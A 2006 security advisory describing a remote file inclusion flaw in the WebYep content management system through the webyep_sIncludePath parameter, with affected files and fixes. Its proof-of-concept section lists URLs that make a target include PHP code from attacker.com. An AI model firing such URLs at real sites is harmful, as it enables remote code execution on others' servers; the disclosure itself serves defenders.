[ECHO_ADV_48$2006] WebYep <= 1.1.9 (webyep_sIncludePath) Multiple Remote File Inclusion Vulnerability



ECHO_ADV_48$2006

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[ECHO_ADV_48$2006] WebYep <= 1.1.9 (webyep_sIncludePath) Multiple Remote File Inclusion Vulnerability
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Author : Dedi Dwianto a.k.a the_day
Date Found : October, 05th 2006
Location : Indonesia, Jakarta
web : http://advisories.echo.or.id/adv/adv48-theday-2006.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote
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Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : WebYep
version : <=1.1.9
URL : http://www.obdev.at

WebYep is a compact Web Content Management System for extremely simple creation of editable
web pages. It is a low priced alternative for small to medium web sites
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Vulnerability:
~~~~~~~~~~~~~~

In folder webyep-system/programm/lib found vulnerability script WYApplication.php
---------------------------WYApplication.php---------------------------------------
....
<?

include_once("$webyep_sIncludePath/lib/WYApplication.php");
include_once("$webyep_sIncludePath/lib/WYHTMLTag.php");

...
----------------------------------------------------------

Input passed to the "$webyep_sIncludePath" parameter in WYApplication.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files on Files:

webyep-system/programm/lib/WYApplication.php
webyep-system/programm/lib/WYDocument.php
webyep-system/programm/lib/WYEditor.php
webyep-system/programm/lib/WYElement.php
webyep-system/programm/lib/WYFile.php
webyepasystem/programm/lib/WYHTMLTag.php
webyep-system/programm/lib/WYImage.php
webyep-system/programm/lib/WYLanguage.php
webyep-system/programm/lib/WYLink.php
webyep-system/programm/lib/WYPath.php
webyep-system/programm/lib/WYPopupWindowLink.php
webyep-system/programm/lib/WYSelectMenu.php
webyep-system/programm/lib/WYTextArea.php
webyep-system/programm/elements/WYGalleryElement.php
webyep-system/programm/elements/WYGuestbookElement.php
webyep-system/programm/elements/WYImageElement.php
webyep-system/programm/elements/WYLogonButtonElement.php
webyep-system/programm/elements/WYLongTextElement.php
webyep-system/programm/elements/WYLoopElement.php
webyep-system/programm/elements/WYMenuElement.php
webyep-system/programm/elements/WYShortTextElement.php
webyep-system/programm/webyep.php

Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/[webYep_path]/webyep-system/programm/lib/WYApplication.php?webyep_sIncludePath=http://attacker.com/inject.txt?
http://target.com/[webYep_path]/webyep-system/programm/lib/WYDocument.php?webyep_sIncludePath=http://attacker.com/inject.txt?
http://target.com/[webYep_path]/webyep-system/programm/webyep.php?webyep_sIncludePath=http://attacker.com/inject.txt?
http://target.com/[webYep_path]/webyep-system/programm/elements/WYGalleryElement.php?webyep_sIncludePath=http://attacker.com/inject.txt?

Solution:
~~~~~~~
- Sanitize variable $webyep_sIncludePath on affected files.
- Turn off register_globals

Timeline:
~~~~~~~
05 - 10 - 2006 Bugs Found
05 - 10 - 2006 Vendor Contact
09 - 10 - Public Disclosure

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Shoutz:
~~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy My Brain
~ az001,boom_3x,mathdule,angelia
~ newbie_hacker@xxxxxxxxxxxxxxx
~ #aikmel - #e-c-h-o @irc.dal.net
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---
Contact:
~~~~
EcHo Research & Development Center
the_day[at]echo[dot]or[dot]id

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